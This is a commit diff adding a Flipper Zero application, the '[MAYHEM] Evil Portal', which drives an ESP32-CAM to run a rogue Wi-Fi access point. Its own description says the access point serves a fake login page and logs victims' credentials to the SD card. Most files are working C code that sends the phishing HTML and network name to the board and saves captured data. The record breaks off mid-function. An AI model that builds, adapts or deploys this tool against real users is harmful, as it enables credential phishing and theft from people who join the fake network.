Update apps pt2 + Add MAYHEM Evil Portal

applications/external/esp32cam_evilportal/application.fam

@@ -0,0 +1,15 @@
+App(
+    appid="mayhem_evil_portal",
+    name="[MAYHEM] Evil Portal",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="evil_portal_app",
+    cdefines=["APP_EVIL_PORTAL"],
+    requires=["gui"],
+    stack_size=1 * 1024,
+    order=90,
+    fap_icon="icons/evil_portal_10px.png",
+    fap_category="GPIO",
+    fap_description="ESP32-CAM evil portal. When users try to connect to this access point they will be served a fake login screen. User credentials are sent to the Flipper and logged on the SD card. [Unplug the USB cable to test with Mayhem]",
+    fap_author="bigbrodude6119",
+    fap_weburl="https://github.com/bigbrodude6119/flipper-zero-evil-portal",
+)

applications/external/esp32cam_evilportal/evil_portal_app.c

@@ -0,0 +1,133 @@
+#include "evil_portal_app_i.h"
+#include "helpers/evil_portal_storage.h"
+
+#include <furi.h>
+#include <furi_hal.h>
+
+static bool evil_portal_app_custom_event_callback(void* context, uint32_t event) {
+    furi_assert(context);
+    Evil_PortalApp* app = context;
+    return scene_manager_handle_custom_event(app->scene_manager, event);
+}
+
+static bool evil_portal_app_back_event_callback(void* context) {
+    furi_assert(context);
+    Evil_PortalApp* app = context;
+    return scene_manager_handle_back_event(app->scene_manager);
+}
+
+static void evil_portal_app_tick_event_callback(void* context) {
+    furi_assert(context);
+    Evil_PortalApp* app = context;
+    scene_manager_handle_tick_event(app->scene_manager);
+}
+
+Evil_PortalApp* evil_portal_app_alloc() {
+    Evil_PortalApp* app = malloc(sizeof(Evil_PortalApp));
+
+    app->sent_html = false;
+    app->sent_ap = false;
+    app->sent_reset = false;
+    app->has_command_queue = false;
+    app->command_index = 0;
+    app->portal_logs = furi_string_alloc();
+
+    app->gui = furi_record_open(RECORD_GUI);
+
+    app->view_dispatcher = view_dispatcher_alloc();
+    app->scene_manager = scene_manager_alloc(&evil_portal_scene_handlers, app);
+    view_dispatcher_enable_queue(app->view_dispatcher);
+    view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
+
+    view_dispatcher_set_custom_event_callback(
+        app->view_dispatcher, evil_portal_app_custom_event_callback);
+    view_dispatcher_set_navigation_event_callback(
+        app->view_dispatcher, evil_portal_app_back_event_callback);
+    view_dispatcher_set_tick_event_callback(
+        app->view_dispatcher, evil_portal_app_tick_event_callback, 100);
+
+    view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
+
+    app->var_item_list = variable_item_list_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        Evil_PortalAppViewVarItemList,
+        variable_item_list_get_view(app->var_item_list));
+
+    for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
+        app->selected_option_index[i] = 0;
+    }
+
+    app->text_box = text_box_alloc();
+    view_dispatcher_add_view(
+        app->view_dispatcher, Evil_PortalAppViewConsoleOutput, text_box_get_view(app->text_box));
+    app->text_box_store = furi_string_alloc();
+    furi_string_reserve(app->text_box_store, EVIL_PORTAL_TEXT_BOX_STORE_SIZE);
+
+    scene_manager_next_scene(app->scene_manager, Evil_PortalSceneStart);
+
+    return app;
+}
+
+void evil_portal_app_free(Evil_PortalApp* app) {
+    // save latest logs
+    if(furi_string_utf8_length(app->portal_logs) > 0) {
+        write_logs(app->portal_logs);
+        furi_string_free(app->portal_logs);
+    }
+
+    // Send reset event to dev board
+    evil_portal_uart_tx((uint8_t*)(RESET_CMD), strlen(RESET_CMD));
+    evil_portal_uart_tx((uint8_t*)("\n"), 1);
+
+    furi_assert(app);
+
+    // Views
+    view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
+    view_dispatcher_remove_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
+
+    text_box_free(app->text_box);
+    furi_string_free(app->text_box_store);
+
+    // View dispatcher
+    view_dispatcher_free(app->view_dispatcher);
+    scene_manager_free(app->scene_manager);
+
+    evil_portal_uart_free(app->uart);
+
+    // Close records
+    furi_record_close(RECORD_GUI);
+
+    free(app);
+}
+
+int32_t evil_portal_app(void* p) {
+    UNUSED(p);
+
+    // Enable uart listener
+    furi_hal_console_disable();
+    furi_hal_uart_set_br(UART_CH, BAUDRATE); // TODO: Clean this
+    //furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, evil_portal_uart_on_irq_cb, app);
+
+    furi_hal_power_disable_external_3_3v();
+    furi_hal_power_disable_otg();
+    furi_delay_ms(200);
+    furi_hal_power_enable_external_3_3v();
+    furi_hal_power_enable_otg();
+    for(int i = 0; i < 2; i++) {
+        furi_delay_ms(500);
+        furi_hal_uart_tx(UART_CH, (uint8_t[1]){'e'}, 1);
+    }
+    furi_delay_ms(1);
+    Evil_PortalApp* evil_portal_app = evil_portal_app_alloc();
+
+    evil_portal_app->uart = evil_portal_uart_init(evil_portal_app);
+
+    view_dispatcher_run(evil_portal_app->view_dispatcher);
+
+    evil_portal_app_free(evil_portal_app);
+
+    furi_hal_power_disable_otg();
+
+    return 0;
+}

applications/external/esp32cam_evilportal/evil_portal_app.h

@@ -0,0 +1,11 @@
+#pragma once
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef struct Evil_PortalApp Evil_PortalApp;
+
+#ifdef __cplusplus
+}
+#endif

applications/external/esp32cam_evilportal/evil_portal_app_i.h

@@ -0,0 +1,61 @@
+#pragma once
+
+#include "evil_portal_app.h"
+#include "evil_portal_custom_event.h"
+#include "evil_portal_uart.h"
+#include "scenes/evil_portal_scene.h"
+
+#include <gui/gui.h>
+#include <gui/modules/text_box.h>
+#include <gui/modules/variable_item_list.h>
+#include <gui/scene_manager.h>
+#include <gui/view_dispatcher.h>
+
+#define NUM_MENU_ITEMS (4)
+
+#define EVIL_PORTAL_TEXT_BOX_STORE_SIZE (4096)
+#define UART_CH (FuriHalUartIdUSART1)
+#define BAUDRATE (230400)
+
+#define SET_HTML_CMD "sethtml"
+#define SET_AP_CMD "setap"
+#define RESET_CMD "reset"
+
+struct Evil_PortalApp {
+    Gui* gui;
+    ViewDispatcher* view_dispatcher;
+    SceneManager* scene_manager;
+
+    FuriString* portal_logs;
+    const char* command_queue[1];
+    int command_index;
+    bool has_command_queue;
+
+    FuriString* text_box_store;
+    size_t text_box_store_strlen;
+    TextBox* text_box;
+
+    VariableItemList* var_item_list;
+    Evil_PortalUart* uart;
+
+    int selected_menu_index;
+    int selected_option_index[NUM_MENU_ITEMS];
+    const char* selected_tx_string;
+    bool is_command;
+    bool is_custom_tx_string;
+    bool focus_console_start;
+    bool show_stopscan_tip;
+    bool sent_ap;
+    bool sent_html;
+    bool sent_reset;
+    //int BAUDRATE;
+
+    uint8_t* index_html;
+    uint8_t* ap_name;
+};
+
+typedef enum {
+    Evil_PortalAppViewVarItemList,
+    Evil_PortalAppViewConsoleOutput,
+    Evil_PortalAppViewStartPortal,
+} Evil_PortalAppView;

applications/external/esp32cam_evilportal/evil_portal_custom_event.h

@@ -0,0 +1,8 @@
+#pragma once
+
+typedef enum {
+    Evil_PortalEventRefreshConsoleOutput = 0,
+    Evil_PortalEventStartConsole,
+    Evil_PortalEventStartKeyboard,
+    Evil_PortalEventStartPortal,
+} Evil_PortalCustomEvent;

applications/external/esp32cam_evilportal/evil_portal_uart.c

@@ -0,0 +1,149 @@
+#include "evil_portal_app_i.h"
+#include "evil_portal_uart.h"
+#include "helpers/evil_portal_storage.h"
+
+struct Evil_PortalUart {
+    Evil_PortalApp* app;
+    FuriThread* rx_thread;
+    FuriStreamBuffer* rx_stream;
+    uint8_t rx_buf[RX_BUF_SIZE + 1];
+    void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context);
+};
+
+typedef enum {
+    WorkerEvtStop = (1 << 0),
+    WorkerEvtRxDone = (1 << 1),
+} WorkerEvtFlags;
+
+void evil_portal_uart_set_handle_rx_data_cb(
+    Evil_PortalUart* uart,
+    void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) {
+    furi_assert(uart);
+    uart->handle_rx_data_cb = handle_rx_data_cb;
+}
+
+#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
+
+void evil_portal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
+    Evil_PortalUart* uart = (Evil_PortalUart*)context;
+
+    if(ev == UartIrqEventRXNE) {
+        furi_stream_buffer_send(uart->rx_stream, &data, 1, 0);
+        furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
+    }
+}
+
+static int32_t uart_worker(void* context) {
+    Evil_PortalUart* uart = (void*)context;
+
+    while(1) {
+        uint32_t events =
+            furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever);
+        furi_check((events & FuriFlagError) == 0);
+        if(events & WorkerEvtStop) break;
+        if(events & WorkerEvtRxDone) {
+            size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0);
+
+            if(len > 0) {
+                if(uart->handle_rx_data_cb) {
+                    uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
+
+                    if(uart->app->has_command_queue) {
+                        if(uart->app->command_index < 1) {
+                            if(0 == strncmp(
+                                        SET_AP_CMD,
+                                        uart->app->command_queue[uart->app->command_index],
+                                        strlen(SET_AP_CMD))) {
+                                FuriString* out_data = furi_string_alloc();
+
+                                furi_string_cat(out_data, "setap=");
+                                furi_string_cat(out_data, (char*)uart->app->ap_name);
+
+                                evil_portal_uart_tx(
+                                    (uint8_t*)(furi_string_get_cstr(out_data)),
+                                    strlen(furi_string_get_cstr(out_data)));
+                                evil_portal_uart_tx((uint8_t*)("\n"), 1);
+
+                                uart->app->sent_ap = true;
+
+                                free(out_data);
+                                free(uart->app->ap_name);
+                            }
+
+                            uart->app->command_index = 0;
+                            uart->app->has_command_queue = false;
+                            uart->app->command_queue[0] = "";
+                        }
+                    }
+
+                    if(uart->app->sent_reset == false) {
+                        furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
+                    }
+
+                    if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
+                        write_logs(uart->app->portal_logs);
+                        furi_string_reset(uart->app->portal_logs);
+                    }
+                } else {
+                    uart->rx_buf[len] = '\0';
+                    if(uart->app->sent_reset == false) {
+                        furi_string_cat(uart->app->portal_logs, (char*)uart->rx_buf);
+                    }
+
+                    if(furi_string_utf8_length(uart->app->portal_logs) > 4000) {
+                        write_logs(uart->app->portal_logs);
+                        furi_string_reset(uart->app->portal_logs);
+                    }
+                }
+            }
+        }
+    }
+
+    furi_stream_buffer_free(uart->rx_stream);
+
+    return 0;
+}
+
+void evil_portal_uart_tx(uint8_t* data, size_t len) {
+    furi_hal_uart_tx(UART_CH, data, len);
+}
+
+Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app) {
+    Evil_PortalUart* uart = malloc(sizeof(Evil_PortalUart));
+    uart->app = app;
+    // Init all rx stream and thread early to avoid crashes
+    uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1);
+    uart->rx_thread = furi_thread_alloc();
+    furi_thread_set_name(uart->rx_thread, "Evil_PortalUartRxThread");
+    furi_thread_set_stack_size(uart->rx_thread, 1024);
+    furi_thread_set_context(uart->rx_thread, uart);
+    furi_thread_set_callback(uart->rx_thread, uart_worker);
+
+    furi_thread_start(uart->rx_thread);
+
+    /*furi_hal_console_disable();
+  if (app->BAUDRATE == 0) {
+    app->BAUDRATE = 115200;
+  }
+  furi_hal_uart_set_br(UART_CH, app->BAUDRATE);
+  furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);*/
+
+    furi_hal_console_disable();
+    furi_hal_uart_set_br(UART_CH, BAUDRATE);
+    furi_hal_uart_set_irq_cb(UART_CH, evil_portal_uart_on_irq_cb, uart);
+
+    return uart;
+}
+
+void evil_portal_uart_free(Evil_PortalUart* uart) {
+    furi_assert(uart);
+
+    furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
+    furi_thread_join(uart->rx_thread);
+    furi_thread_free(uart->rx_thread);
+
+    furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
+    furi_hal_console_enable();
+
+    free(uart);
+}

applications/external/esp32cam_evilportal/evil_portal_uart.h

@@ -0,0 +1,14 @@
+#pragma once
+
+#include "furi_hal.h"
+
+#define RX_BUF_SIZE (320)
+
+typedef struct Evil_PortalUart Evil_PortalUart;
+
+void evil_portal_uart_set_handle_rx_data_cb(
+    Evil_PortalUart* uart,
+    void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context));
+void evil_portal_uart_tx(uint8_t* data, size_t len);
+Evil_PortalUart* evil_portal_uart_init(Evil_PortalApp* app);
+void evil_portal_uart_free(Evil_PortalUart* uart);

applications/external/esp32cam_evilportal/helpers/evil_portal_storage.c

@@ -0,0 +1,117 @@
+#include "evil_portal_storage.h"
+
+static Storage* evil_portal_open_storage() {
+    return furi_record_open(RECORD_STORAGE);
+}
+
+static void evil_portal_close_storage() {
+    furi_record_close(RECORD_STORAGE);
+}
+
+void evil_portal_read_index_html(void* context) {
+    Evil_PortalApp* app = context;
+    Storage* storage = evil_portal_open_storage();
+    FileInfo fi;
+
+    if(storage_common_stat(storage, EVIL_PORTAL_INDEX_SAVE_PATH, &fi) == FSE_OK) {
+        File* index_html = storage_file_alloc(storage);
+        if(storage_file_open(
+               index_html, EVIL_PORTAL_INDEX_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
+            app->index_html = malloc((size_t)fi.size);
+            uint8_t* buf_ptr = app->index_html;
+            size_t read = 0;
+            while(read < fi.size) {
+                size_t to_read = fi.size - read;
+                if(to_read > UINT16_MAX) to_read = UINT16_MAX;
+                uint16_t now_read = storage_file_read(index_html, buf_ptr, (uint16_t)to_read);
+                read += now_read;
+                buf_ptr += now_read;
+            }
+            free(buf_ptr);
+        }
+        storage_file_close(index_html);
+        storage_file_free(index_html);
+    } else {
+        char* html_error = "<b>Evil portal</b><br>Unable to read the html file.<br>"
+                           "Is the SD Card set up correctly? <br>See instructions @ "
+                           "github.com/bigbrodude6119/flipper-zero-evil-portal<br>"
+                           "Under the 'Install pre-built app on the flipper' section.";
+        app->index_html = (uint8_t*)html_error;
+    }
+
+    evil_portal_close_storage();
+}
+
+void evil_portal_read_ap_name(void* context) {
+    Evil_PortalApp* app = context;
+    Storage* storage = evil_portal_open_storage();
+    FileInfo fi;
+
+    if(storage_common_stat(storage, EVIL_PORTAL_AP_SAVE_PATH, &fi) == FSE_OK) {
+        File* ap_name = storage_file_alloc(storage);
+        if(storage_file_open(ap_name, EVIL_PORTAL_AP_SAVE_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) {
+            app->ap_name = malloc((size_t)fi.size);
+            uint8_t* buf_ptr = app->ap_name;
+            size_t read = 0;
+            while(read < fi.size) {
+                size_t to_read = fi.size - read;
+                if(to_read > UINT16_MAX) to_read = UINT16_MAX;
+                uint16_t now_read = storage_file_read(ap_name, buf_ptr, (uint16_t)to_read);
+                read += now_read;
+                buf_ptr += now_read;
+            }
+            free(buf_ptr);
+        }
+        storage_file_close(ap_name);
+        storage_file_free(ap_name);
+    } else {
+        char* app_default = "Evil Portal";
+        app->ap_name = (uint8_t*)app_default;
+    }
+    evil_portal_close_storage();
+}
+
+char* sequential_file_resolve_path(
+    Storage* storage,
+    const char* dir,
+    const char* prefix,
+    const char* extension) {
+    if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) {
+        return NULL;
+    }
+
+    char file_path[256];
+    int file_index = 0;
+
+    do {
+        if(snprintf(
+               file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) <
+           0) {
+            return NULL;
+        }
+        file_index++;
+    } while(storage_file_exists(storage, file_path));
+
+    return strdup(file_path);
+}
+
+void write_logs(FuriString* portal_logs) {
+    Storage* storage = evil_portal_open_storage();
+
+    if(!storage_file_exists(storage, EVIL_PORTAL_LOG_SAVE_PATH)) {
+        storage_simply_mkdir(storage, EVIL_PORTAL_LOG_SAVE_PATH);
+    }
+
+    char* seq_file_path =
+        sequential_file_resolve_path(storage, EVIL_PORTAL_LOG_SAVE_PATH, "log", "txt");
+
+    File* file = storage_file_alloc(storage);
+
+    if(storage_file_open(file, seq_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
+        storage_file_write(
+            file, furi_string_get_cstr(portal_logs), furi_string_utf8_length(portal_logs));
+    }
+    storage_file_close(file);
+    storage_file_free(file);
+    evil_portal_close_storage();
+}

applications/external/esp32cam_evilportal/helpers/evil_portal_storage.h

@@ -0,0 +1,20 @@
+#include "../evil_portal_app_i.h"
+#include <flipper_format/flipper_format_i.h>
+#include <lib/toolbox/stream/file_stream.h>
+#include <stdlib.h>
+#include <storage/storage.h>
+#include <string.h>
+
+#define PORTAL_FILE_DIRECTORY_PATH EXT_PATH("apps_data/evil_portal")
+#define EVIL_PORTAL_INDEX_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/index.html"
+#define EVIL_PORTAL_AP_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/ap.config.txt"
+#define EVIL_PORTAL_LOG_SAVE_PATH PORTAL_FILE_DIRECTORY_PATH "/logs"
+
+void evil_portal_read_index_html(void* context);
+void evil_portal_read_ap_name(void* context);
+void write_logs(FuriString* portal_logs);
+char* sequential_file_resolve_path(
+    Storage* storage,
+    const char* dir,
+    const char* prefix,
+    const char* extension);

applications/external/esp32cam_evilportal/scenes/evil_portal_scene.c

@@ -0,0 +1,30 @@
+#include "evil_portal_scene.h"
+
+// Generate scene on_enter handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
+void (*const evil_portal_scene_on_enter_handlers[])(void*) = {
+#include "evil_portal_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_event handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
+bool (*const evil_portal_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
+#include "evil_portal_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
+void (*const evil_portal_scene_on_exit_handlers[])(void* context) = {
+#include "evil_portal_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Initialize scene handlers configuration structure
+const SceneManagerHandlers evil_portal_scene_handlers = {
+    .on_enter_handlers = evil_portal_scene_on_enter_handlers,
+    .on_event_handlers = evil_portal_scene_on_event_handlers,
+    .on_exit_handlers = evil_portal_scene_on_exit_handlers,
+    .scene_num = Evil_PortalSceneNum,
+};

applications/external/esp32cam_evilportal/scenes/evil_portal_scene.h

@@ -0,0 +1,29 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+// Generate scene id and total number
+#define ADD_SCENE(prefix, name, id) Evil_PortalScene##id,
+typedef enum {
+#include "evil_portal_scene_config.h"
+    Evil_PortalSceneNum,
+} Evil_PortalScene;
+#undef ADD_SCENE
+
+extern const SceneManagerHandlers evil_portal_scene_handlers;
+
+// Generate scene on_enter handlers declaration
+#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
+#include "evil_portal_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_event handlers declaration
+#define ADD_SCENE(prefix, name, id) \
+    bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
+#include "evil_portal_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers declaration
+#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
+#include "evil_portal_scene_config.h"
+#undef ADD_SCENE

applications/external/esp32cam_evilportal/scenes/evil_portal_scene_config.h

@@ -0,0 +1,2 @@
+ADD_SCENE(evil_portal, start, Start)
+ADD_SCENE(evil_portal, console_output, ConsoleOutput)

applications/external/esp32cam_evilportal/scenes/evil_portal_scene_console_output.c

@@ -0,0 +1,147 @@
+#include "../evil_portal_app_i.h"
+#include "../helpers/evil_portal_storage.h"
+
+void evil_portal_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) {
+    furi_assert(context);
+    Evil_PortalApp* app = context;
+
+    // If text box store gets too big, then truncate it
+    app->text_box_store_strlen += len;
+    if(app->text_box_store_strlen >= EVIL_PORTAL_TEXT_BOX_STORE_SIZE - 1) {
+        furi_string_right(app->text_box_store, app->text_box_store_strlen / 2);
+        app->text_box_store_strlen = furi_string_size(app->text_box_store) + len;
+    }
+
+    // Null-terminate buf and append to text box store
+    buf[len] = '\0';
+    furi_string_cat_printf(app->text_box_store, "%s", buf);
+
+    view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventRefreshConsoleOutput);
+}
+
+void evil_portal_scene_console_output_on_enter(void* context) {
+    Evil_PortalApp* app = context;
+
+    TextBox* text_box = app->text_box;
+    text_box_reset(app->text_box);
+    text_box_set_font(text_box, TextBoxFontText);
+    if(app->focus_console_start) {
+        text_box_set_focus(text_box, TextBoxFocusStart);
+    } else {
+        text_box_set_focus(text_box, TextBoxFocusEnd);
+    }
+
+    if(app->is_command) {
+        furi_string_reset(app->text_box_store);
+        app->text_box_store_strlen = 0;
+        app->sent_reset = false;
+
+        if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) {
+            const char* help_msg = "BLUE = Waiting\nGREEN = Good\nRED = Bad\n\nThis project is a "
+                                   "WIP.\ngithub.com/bigbrodude6119/flipper-zero-evil-portal\n\n"
+                                   "Version 0.0.2\n\n";
+            furi_string_cat_str(app->text_box_store, help_msg);
+            app->text_box_store_strlen += strlen(help_msg);
+            if(app->show_stopscan_tip) {
+                const char* msg = "Press BACK to return\n";
+                furi_string_cat_str(app->text_box_store, msg);
+                app->text_box_store_strlen += strlen(msg);
+            }
+        }
+
+        if(0 == strncmp("savelogs", app->selected_tx_string, strlen("savelogs"))) {
+            const char* help_msg = "Logs saved.\n\n";
+            furi_string_cat_str(app->text_box_store, help_msg);
+            app->text_box_store_strlen += strlen(help_msg);
+            write_logs(app->portal_logs);
+            furi_string_reset(app->portal_logs);
+            if(app->show_stopscan_tip) {
+                const char* msg = "Press BACK to return\n";
+                furi_string_cat_str(app->text_box_store, msg);
+                app->text_box_store_strlen += strlen(msg);
+            }
+        }
+
+        if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
+            app->command_queue[0] = SET_AP_CMD;
+            app->has_command_queue = true;
+            app->command_index = 0;
+            if(app->show_stopscan_tip) {
+                const char* msg = "Starting portal\nIf no response press\nBACK to return\n";
+                furi_string_cat_str(app->text_box_store, msg);
+                app->text_box_store_strlen += strlen(msg);
+            }
+        }
+
+        if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
+            app->sent_reset = true;
+            if(app->show_stopscan_tip) {
+                const char* msg = "Reseting portal\nPress BACK to return\n\n\n\n";
+                furi_string_cat_str(app->text_box_store, msg);
+                app->text_box_store_strlen += strlen(msg);
+            }
+        }
+    }
+
+    text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
+
+    scene_manager_set_scene_state(app->scene_manager, Evil_PortalSceneConsoleOutput, 0);
+    view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewConsoleOutput);
+
+    // Register callback to receive data
+    evil_portal_uart_set_handle_rx_data_cb(
+        app->uart, evil_portal_console_output_handle_rx_data_cb);
+
+    if(app->is_command && app->selected_tx_string) {
+        if(0 == strncmp(SET_HTML_CMD, app->selected_tx_string, strlen(SET_HTML_CMD))) {
+            evil_portal_read_index_html(context);
+
+            FuriString* data = furi_string_alloc();
+            furi_string_cat(data, "sethtml=");
+            furi_string_cat(data, (char*)app->index_html);
+
+            evil_portal_uart_tx(
+                (uint8_t*)(furi_string_get_cstr(data)), strlen(furi_string_get_cstr(data)));
+            evil_portal_uart_tx((uint8_t*)("\n"), 1);
+
+            app->sent_html = true;
+
+            free(data);
+            free(app->index_html);
+
+            evil_portal_read_ap_name(context);
+        } else if(0 == strncmp(RESET_CMD, app->selected_tx_string, strlen(RESET_CMD))) {
+            app->sent_html = false;
+            app->sent_ap = false;
+            evil_portal_uart_tx(
+                (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
+            evil_portal_uart_tx((uint8_t*)("\n"), 1);
+        } else if(1 == strncmp("help", app->selected_tx_string, strlen("help"))) {
+            evil_portal_uart_tx(
+                (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
+            evil_portal_uart_tx((uint8_t*)("\n"), 1);
+        }
+    }
+}
+
+bool evil_portal_scene_console_output_on_event(void* context, SceneManagerEvent event) {
+    Evil_PortalApp* app = context;
+
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store));
+        consumed = true;
+    } else if(event.type == SceneManagerEventTypeTick) {
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void evil_portal_scene_console_output_on_exit(void* context) {
+    Evil_PortalApp* app = context;
+
+    // Unregister rx callback
+    evil_portal_uart_set_handle_rx_data_cb(app->uart, NULL);
+}

applications/external/esp32cam_evilportal/scenes/evil_portal_scene_start.c

@@ -0,0 +1,130 @@
+#include "../evil_portal_app_i.h"
+
+// For each command, define whether additional arguments are needed
+// (enabling text input to fill them out), and whether the console
+// text box should focus at the start of the output or the end
+typedef enum { NO_ARGS = 0, INPUT_ARGS, TOGGLE_ARGS } InputArgs;
+
+typedef enum { FOCUS_CONSOLE_END = 0, FOCUS_CONSOLE_START, FOCUS_CONSOLE_TOGGLE } FocusConsole;
+
+#define SHOW_STOPSCAN_TIP (true)
+#define NO_TIP (false)
+
+#define MAX_OPTIONS (9)
+typedef struct {
+    const char* item_string;
+    const char* options_menu[MAX_OPTIONS];
+    int num_options_menu;
+    const char* actual_commands[MAX_OPTIONS];
+    InputArgs needs_keyboard;
+    FocusConsole focus_console;
+    bool show_stopscan_tip;
+} Evil_PortalItem;
+
+// NUM_MENU_ITEMS defined in evil_portal_app_i.h - if you add an entry here,
+// increment it!
+const Evil_PortalItem items[NUM_MENU_ITEMS] = {
+    // send command
+    {"Start portal", {""}, 1, {SET_HTML_CMD}, NO_ARGS, FOCUS_CONSOLE_END, SHOW_STOPSCAN_TIP},
+
+    // stop portal
+    {"Stop portal", {""}, 1, {RESET_CMD}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
+
+    // console
+    {"Save logs", {""}, 1, {"savelogs"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
+
+    // help
+    {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP},
+};
+
+static void evil_portal_scene_start_var_list_enter_callback(void* context, uint32_t index) {
+    furi_assert(context);
+    Evil_PortalApp* app = context;
+
+    furi_assert(index < NUM_MENU_ITEMS);
+    const Evil_PortalItem* item = &items[index];
+
+    const int selected_option_index = app->selected_option_index[index];
+    furi_assert(selected_option_index < item->num_options_menu);
+    app->selected_tx_string = item->actual_commands[selected_option_index];
+    app->is_command = true;
+    app->is_custom_tx_string = false;
+    app->selected_menu_index = index;
+    app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ?
+                                   (selected_option_index == 0) :
+                                   item->focus_console;
+    app->show_stopscan_tip = item->show_stopscan_tip;
+
+    view_dispatcher_send_custom_event(app->view_dispatcher, Evil_PortalEventStartConsole);
+}
+
+static void evil_portal_scene_start_var_list_change_callback(VariableItem* item) {
+    furi_assert(item);
+
+    Evil_PortalApp* app = variable_item_get_context(item);
+    furi_assert(app);
+
+    const Evil_PortalItem* menu_item = &items[app->selected_menu_index];
+    uint8_t item_index = variable_item_get_current_value_index(item);
+    furi_assert(item_index < menu_item->num_options_menu);
+    variable_item_set_current_value_text(item, menu_item->options_menu[item_index]);
+    app->selected_option_index[app->selected_menu_index] = item_index;
+}
+
+void evil_portal_scene_start_on_enter(void* context) {
+    Evil_PortalApp* app = context;
+    VariableItemList* var_item_list = app->var_item_list;
+
+    variable_item_list_set_enter_callback(
+        var_item_list, evil_portal_scene_start_var_list_enter_callback, app);
+
+    VariableItem* item;
+    for(int i = 0; i < NUM_MENU_ITEMS; ++i) {
+        item = variable_item_list_add(
+            var_item_list,
+            items[i].item_string,
+            items[i].num_options_menu,
+            evil_portal_scene_start_var_list_change_callback,
+            app);
+        variable_item_set_current_value_index(item, app->selected_option_index[i]);
+        variable_item_set_current_value_text(
+            item, items[i].options_menu[app->selected_option_index[i]]);
+    }
+
+    variable_item_list_set_selected_item(
+        var_item_list, scene_manager_get_scene_state(app->scene_manager, Evil_PortalSceneStart));
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, Evil_PortalAppViewVarItemList);
+}
+
+bool evil_portal_scene_start_on_event(void* context, SceneManagerEvent event) {
+    UNUSED(context);
+    Evil_PortalApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == Evil_PortalEventStartPortal) {
+            scene_manager_set_scene_state(
+                app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index);
+            scene_manager_next_scene(app->scene_manager, Evil_PortalAppViewStartPortal);
+        } else if(event.event == Evil_PortalEventStartKeyboard) {
+            scene_manager_set_scene_state(
+                app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index);
+        } else if(event.event == Evil_PortalEventStartConsole) {
+            scene_manager_set_scene_state(
+                app->scene_manager, Evil_PortalSceneStart, app->selected_menu_index);
+            scene_manager_next_scene(app->scene_manager, Evil_PortalAppViewConsoleOutput);
+        }
+        consumed = true;
+    } else if(event.type == SceneManagerEventTypeTick) {
